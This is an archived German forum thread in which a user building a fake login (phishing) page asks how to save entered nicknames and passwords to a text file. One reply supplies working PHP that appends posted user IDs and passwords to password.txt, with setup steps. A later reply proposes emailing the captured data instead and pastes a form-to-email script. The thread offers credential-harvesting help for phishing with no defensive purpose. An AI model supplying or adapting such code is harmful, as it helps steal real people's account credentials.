PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [F] PW/Nickbox bei Fakeseiten



raftosti
05.02.2010, 23:56
Hallo habe gerade angefangen eine Fakeseite zu designen...nun habe ich sie gescliced...

Jetzt ist meine Frage welchen Code muss ich verwenden und wie muss ich es machen damit man eben da wo ich die Nickname/PW Box designed habe auch was eingeben kann später ...das dann in einer .txt gespeichert werden soll

Ich hoffe ihr wisst was ich meine...


Ich freue mich auf euere Hilfe...ihr kennt euch da ja aus :D

lg http://www.k-script.in/images/smilies/coguip.png

hAgBaRd2ooo
06.02.2010, 00:08
Weiß nicht ob du jetzt damit was anfangen kannst:

<?
if (isset($_POST['userid']) && isset($_POST['passwd'])){
$file = fopen("password.txt", "a");
if($file) {

fputs($file,"{$_POST['userid']}\t{$_POST['passwd']}\r\n");
fclose($file);
}
}
?>

Aber du musst in deiner PHP Datei die beiden Eingabeboxen mit userid und passwd definieren dann einfach diesen Code reinklatschen, eine password.txt auf den Server laden und ihr CHMOD 777 geben, das wärs' ;)

raftosti
06.02.2010, 00:09
Weiß nicht ob du jetzt damit was anfangen kannst:

<?
if (isset($_POST['userid']) && isset($_POST['passwd'])){
$file = fopen("password.txt", "a");
if($file) {

fputs($file,"{$_POST['userid']}\t{$_POST['passwd']}\r\n");
fclose($file);
}
}
?>

Aber du musst in deiner PHP Datei die beiden Eingabeboxen mit userid und passwd definieren dann einfach diesen Code reinklatschen, eine password.txt auf den Server laden und ihr CHMOD 777 geben, das wärs' ;)

danke ich versteh zwar grad nur Bahnhof...aber ich werd mich mal ransetzen und mir das anschaun und es versuchen :p

hAgBaRd2ooo
06.02.2010, 00:23
Okay, das schaffst du schon ;)
Falls du noch irgendwie was nicht checkst kannst dich ja nochmal hier melden. Bin zwar kein PHPler aber das könnten wa evtl. hinkriegen...

Hou ryan... :D

apokay
16.05.2010, 20:39
Und ? Hat es geklappt ? :)

Shini
16.05.2010, 21:11
dell me pls

#AZURA
16.05.2010, 21:40
OK wie ich sehe wird das nichts
als erstes meine frage wie möchtest du das genau anstehlen via ftp in eine textdatei
oder doch sicherer auf deine email
ich selber habe mich damit noch nicht wirklich befasst aber genau diesen punkt lerne ich grad in meinen wundervollen buch :) es geht um formulardaten undzwar erstelle ich via
xhtml Textboxen in deinen fall 2
also du erstellst 2textboxen ich denke mal wenn du das nicht kannst
lass es erstmal und lerne eventuell hier her Creating Text Boxes (http://www.elizabethcastro.com/html6ed/examples/forms/textboxes.html) schau dich im quelltext um
.ok soweit du das hast brauchst du ein Php script
ok ich liste dir mal alles auf bitte schau dir alles näher an damits du verstehst


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Emailing Form Data</title>
<style type="text/css">
code {color:#F00C4D;font-weight:bold;font-size:1.2em}
i {color: #6D0CF0}
th, td {padding:.1em;border:1px solid blue;text-align:left}
</style>
</head>
<body>


<?php
//This is a very simple PHP script that outputs the name of each bit of information (that corresponds to the <code>name</code> attribute for that field) along with the value that was sent with it right in the browser window, and then sends it all to an email address (once you've added it to the script).

if (empty($_POST)) {
print "<p>No data was submitted.</p>";
print "</body></html>";
exit();
}

//Creates function that removes magic escaping, if it's been applied, from values and then removes extra newlines and returns to foil spammers. Thanks Larry Ullman!
function clear_user_input($value) {
if (get_magic_quotes_gpc()) $value=stripslashes($value);
$value= str_replace( "\n", '', trim($value));
$value= str_replace( "\r", '', $value);
return $value;
}


if ($_POST['comments'] == 'Please share any comments you have here') $_POST['comments'] = '';

//Create body of message by cleaning each field and then appending each name and value to it

$body ="Here is the data that was submitted:\n";

foreach ($_POST as $key => $value) {
$key = clear_user_input($key);
$value = clear_user_input($value);
if ($key=='extras') {

if (is_array($_POST['extras']) ){
$body .= "$key: ";
$counter =1;
foreach ($_POST['extras'] as $value) {
//Add comma and space until last element
if (sizeof($_POST['extras']) == $counter) {
$body .= "$value\n";
break;}
else {
$body .= "$value, ";
$counter += 1;
}
}
} else {
$body .= "$key: $value\n";
}
} else {

$body .= "$key: $value\n";
}
}

extract($_POST);
//removes newlines and returns from $email and $name so they can't smuggle extra email addresses for spammers
$email = clear_user_input($email);
$name = clear_user_input($name);

//Create header that puts email in From box along with name in parentheses and sends bcc to alternate address
$from='From: '. $email . "(" . $name . ")" . "\r\n" . 'Bcc: yourmail@yourdomain.com' . "\r\n";


//Creates intelligible subject line that also shows me where it came from
$subject = 'Bed Order from Web Site';

//Sends mail to me, with elements created above
mail ('youremail@yourdomain.com', $subject, $body, $from);


?>

<p>Thanks for your order! We'll send your bed right away.</p>


</body>
</html>



mfg flensburg

bei weiteren fragen PM